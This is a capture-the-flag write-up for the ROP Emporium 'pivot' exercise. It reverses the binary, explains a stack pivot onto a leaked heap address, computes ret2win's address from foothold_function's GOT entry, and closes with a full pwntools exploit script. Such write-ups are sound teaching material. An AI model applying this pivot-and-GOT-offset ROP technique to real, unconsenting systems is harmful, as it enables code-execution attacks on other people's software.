Writeup
We have two files : pivot
and libpivot.so
, we can check that the library is
linked correctly with ldd
:
$ ldd pivot
linux-vdso.so.1 (0x00007fff1abc9000)
libpivot.so => ./libpivot.so (0x00007f68fc606000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007f68fc40b000)
/lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007f68fc80a000)
Security protections:
$ rabin2 -I pivot
arch x86
baddr 0x400000
binsz 11395
bintype elf
bits 64
canary false
class ELF64
compiler GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609
crypto false
endian little
havecode true
intrp /lib64/ld-linux-x86-64.so.2
laddr 0x0
lang c
linenum true
lsyms true
machine AMD x86-64 architecture
maxopsz 16
minopsz 1
nx true
os linux
pcalign 0
pic false
relocs true
relro partial
rpath ./
sanitiz false
static false
stripped false
subsys linux
va true
Let’s reverse it:
[0x7fd73f980100]> afl
0x004008a0 1 41 entry0
0x00400830 1 6 sym.imp.__libc_start_main
0x004007b8 3 26 sym._init
0x00400b84 1 9 sym._fini
0x004008d0 4 50 -> 41 sym.deregister_tm_clones
0x00400910 4 58 -> 55 sym.register_tm_clones
0x00400950 3 28 entry.fini0
0x00400970 4 38 -> 35 entry.init0
0x00400a3b 1 167 sym.pwnme
0x00400820 1 6 sym.imp.memset
0x00400800 1 6 sym.imp.puts
0x00400810 1 6 sym.imp.printf
0x00400840 1 6 sym.imp.fgets
0x00400ae2 1 24 sym.uselessFunction
0x00400850 1 6 sym.imp.foothold_function
0x00400880 1 6 sym.imp.exit
0x00400b80 1 2 sym.__libc_csu_fini
0x00400b10 4 101 sym.__libc_csu_init
0x00400996 1 165 main
0x00400870 1 6 sym.imp.setvbuf
0x00400860 1 6 sym.imp.malloc
0x004007f0 1 6 sym.imp.free
[0x7fd73f980100]> s main
[0x00400996]> pdg
undefined8 main(void)
{
undefined8 uVar1;
int32_t var_10h;
int32_t var_8h;
sym.imp.setvbuf(_section..bss, 0, 2, 0);
sym.imp.setvbuf(_reloc.stderr_160, 0, 2, 0);
sym.imp.puts("pivot by ROP Emporium");
sym.imp.puts("64bits\n");
uVar1 = sym.imp.malloc(0x1000000);
sym.pwnme((int32_t)uVar1 + 0xffff00);
sym.imp.free(uVar1);
sym.imp.puts("\nExiting");
return 0;
}
[0x00400996]> s sym.pwnme
[0x00400a3b]> pdg
void sym.pwnme(int32_t arg1)
{
undefined4 in_RDI;
int32_t var_28h;
int32_t var_20h;
sym.imp.memset(&var_20h, 0, 0x20);
sym.imp.puts("Call ret2win() from libpivot.so");
sym.imp.printf("The Old Gods kindly bestow upon you a place to pivot: %p\n", CONCAT44(in_RDI, arg1));
sym.imp.puts("Send your second chain now and it will land there");
sym.imp.printf(0x400c52);
sym.imp.fgets(CONCAT44(in_RDI, arg1), 0x100, _reloc.stdin_144);
sym.imp.puts("Now kindly send your stack smash");
sym.imp.printf(0x400c52);
sym.imp.fgets(&var_20h, 0x40, _reloc.stdin_144);
return;
}
[0x00400a3b]>
[0x00400a3b]> pdf
/ (fcn) sym.pwnme 167
| sym.pwnme (int32_t arg1);
| ; var int32_t var_28h @ rbp-0x28
| ; var int32_t var_20h @ rbp-0x20
| ; arg int32_t arg1 @ rdi
| ; CALL XREF from main @ 0x400a11
| 0x00400a3b 55 push rbp
| 0x00400a3c 4889e5 mov rbp, rsp
| 0x00400a3f 4883ec30 sub rsp, 0x30
| 0x00400a43 48897dd8 mov qword [var_28h], rdi ; arg1
| 0x00400a47 488d45e0 lea rax, [var_20h]
| 0x00400a4b ba20000000 mov edx, 0x20 ; 32
| 0x00400a50 be00000000 mov esi, 0
| 0x00400a55 4889c7 mov rdi, rax
| 0x00400a58 e8c3fdffff call sym.imp.memset ; void *memset(void *s, int c, size_t n)
| 0x00400a5d bfc00b4000 mov edi, str.Call_ret2win___from_libpivot.so ; 0x400bc0 ; "Call ret2win() from libpivot.so"
| 0x00400a62 e899fdffff call sym.imp.puts ; int puts(const char *s)
| 0x00400a67 488b45d8 mov rax, qword [var_28h]
| 0x00400a6b 4889c6 mov rsi, rax
| 0x00400a6e bfe00b4000 mov edi, str.The_Old_Gods_kindly_bestow_upon_you_a_place_to_pivot:__p ; 0x400be0 ; "The Old Gods kindly bestow upon you a place to pivot: %p\n"
| 0x00400a73 b800000000 mov eax, 0
| 0x00400a78 e893fdffff call sym.imp.printf ; int printf(const char *format)
| 0x00400a7d bf200c4000 mov edi, str.Send_your_second_chain_now_and_it_will_land_there ; 0x400c20 ; "Send your second chain now and it will land there"
| 0x00400a82 e879fdffff call sym.imp.puts ; int puts(const char *s)
| 0x00400a87 bf520c4000 mov edi, 0x400c52
| 0x00400a8c b800000000 mov eax, 0
| 0x00400a91 e87afdffff call sym.imp.printf ; int printf(const char *format)
| 0x00400a96 488b15f31520. mov rdx, qword [obj.stdin] ; obj.stdin__GLIBC_2.2.5
| ; [0x602090:8]=0
| 0x00400a9d 488b45d8 mov rax, qword [var_28h]
| 0x00400aa1 be00010000 mov esi, 0x100 ; 256
| 0x00400aa6 4889c7 mov rdi, rax
| 0x00400aa9 e892fdffff call sym.imp.fgets ; char *fgets(char *s, int size, FILE *stream)
| 0x00400aae bf580c4000 mov edi, str.Now_kindly_send_your_stack_smash ; 0x400c58 ; "Now kindly send your stack smash"
| 0x00400ab3 e848fdffff call sym.imp.puts ; int puts(const char *s)
| 0x00400ab8 bf520c4000 mov edi, 0x400c52
| 0x00400abd b800000000 mov eax, 0
| 0x00400ac2 e849fdffff call sym.imp.printf ; int printf(const char *format)
| 0x00400ac7 488b15c21520. mov rdx, qword [obj.stdin] ; obj.stdin__GLIBC_2.2.5
| ; [0x602090:8]=0
| 0x00400ace 488d45e0 lea rax, [var_20h]
| 0x00400ad2 be40000000 mov esi, 0x40 ; '@' ; 64
| 0x00400ad7 4889c7 mov rdi, rax
| 0x00400ada e861fdffff call sym.imp.fgets ; char *fgets(char *s, int size, FILE *stream)
| 0x00400adf 90 nop
| 0x00400ae0 c9 leave
\ 0x00400ae1 c3 ret
[0x00400a3b]>
[0x7f08b26dc100]> iz
[Strings]
Num Paddr Vaddr Len Size Section Type String
000 0x00000b98 0x00400b98 21 22 (.rodata) ascii pivot by ROP Emporium
001 0x00000bae 0x00400bae 7 8 (.rodata) ascii 64bits\n
002 0x00000bb6 0x00400bb6 8 9 (.rodata) ascii \nExiting
003 0x00000bc0 0x00400bc0 31 32 (.rodata) ascii Call ret2win() from libpivot.so
004 0x00000be0 0x00400be0 57 58 (.rodata) ascii The Old Gods kindly bestow upon you a place to pivot: %p\n
005 0x00000c20 0x00400c20 49 50 (.rodata) ascii Send your second chain now and it will land there
006 0x00000c58 0x00400c58 32 33 (.rodata) ascii Now kindly send your stack smash
Let’s run it:
$ ./pivot
pivot by ROP Emporium
64bits
Call ret2win() from libpivot.so
The Old Gods kindly bestow upon you a place to pivot: 0x7f9b8655ef10
Send your second chain now and it will land there
> aaaaaaa
Now kindly send your stack smash
> bbbbbbbbbbbbbbbbbbb
Exiting
Basically the program does:
buf[0x20];
uVar1 = malloc(0x1000000)
fgets(uVar1, 0x100, stdin)
fgets(buf, 0x40, stdin)
1st Problem
We have an overflow on the stack, however the fgets read from stdin only 64
bytes.
We can deduce that the size of the buf
+ rbp
is 40 bytes, so there are only
16 bytes to “ROP”. We need to call ret2win, but we don’t have enough bytes to
build an adequate rop chain with only 16 bytes available.
1st Solution
We can move the stack pointer using a rop gadget xcgh eax, rsp; ret
to the
heap. The address of uVar
is printed by the program, in this way we
defeat ASLR because we know the value that we need to set to rsp
.
$ ropper --file pivot --stack-pivot
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
0x0000000000400aca: ret 0x2015;
0x0000000000400b03: xchg eax, esp; ret;
0x0000000000400b02: xchg rax, rsp; ret;
$ ropper --file pivot | grep pop
[..]
0x0000000000400b00: pop rax; ret;
[..]
Ok, we have found the gadgets we need to manipulate the stack pointer.
2nd Problem
We need to call ret2win
, however it’s not imported in the binary.
2nd Solution
So, we need to:
- Call
foothold_function
at least once to fill its.got.plt
with its effective address. - Compute the offset between
foothold_function
and the
ret2win
symbols to know the effective address ofret2win
. - Set the value of register1 equal to the
.got.plt
offoothold_function
. - Set
register1 = register1(foothold_function) + register2(offset) = ret2win
, and call register1. - Enjoy whatever the fuck
ret2win
will do.
After searching in the binary lots of gadgets, I was able to find the right ones.
Solution
Exploit
#!/usr/bin/env python3
from pwn import process, context, remote, p64, ELF, ROP
class Sender:
def __init__(self, conn, debug):
if debug == True:
context.log_level = 'debug'
if conn == 'local':
self.conn = process('./pivot')
else:
self.conn = remote('127.0.0.1', 9999)
def send(self, data):
self.conn.sendline(data)
class Attack:
def __init__(self, conn, debug):
self.pivot = ELF('./pivot', False)
self.rop = ROP(self.pivot)
self.lib = ELF('./libpivot.so', False)
self.snd = Sender(conn, debug)
def first_stage(self):
offset = self.lib.symbols['ret2win'] - \
self.lib.symbols['foothold_function']
pop_rax = p64(self.rop.find_gadget(["pop rax", "ret"])[0])
pop_rbp = p64(self.rop.find_gadget(["pop rbp", "ret"])[0])
add_rax_rbp = p64(0x0400b09)
call_rax = p64(0x040098e)
mov_rax_addr_rax = p64(0x0400b05)
payload = p64(self.pivot.plt['foothold_function'])
payload += pop_rax
payload += p64(self.pivot.got['foothold_function'])
payload += mov_rax_addr_rax
payload += pop_rbp
payload += p64(offset)
payload += add_rax_rbp
payload += call_rax
self.snd.conn.recvuntil(b'pivot: ')
heap = p64(int(self.snd.conn.recvline().strip().decode(), 16))
self.snd.conn.recvuntil(b'> ')
self.snd.send(payload)
return heap
def second_stage(self, heap):
rsp_pivot = p64(0x0400b02) # xcgh rax, rsp; ret
pop_rax = p64(self.rop.find_gadget(["pop rax", "ret"])[0])
payload = b'a' * 40
payload += pop_rax
payload += heap
payload += rsp_pivot
self.snd.conn.recvuntil(b'> ')
self.snd.send(payload)
print(self.snd.conn.recvuntil('libpivot.so'))
print(self.snd.conn.recv())
def main():
attack = Attack('local', False)
heap = attack.first_stage()
attack.second_stage(heap)
if __name__ == '__main__':
main()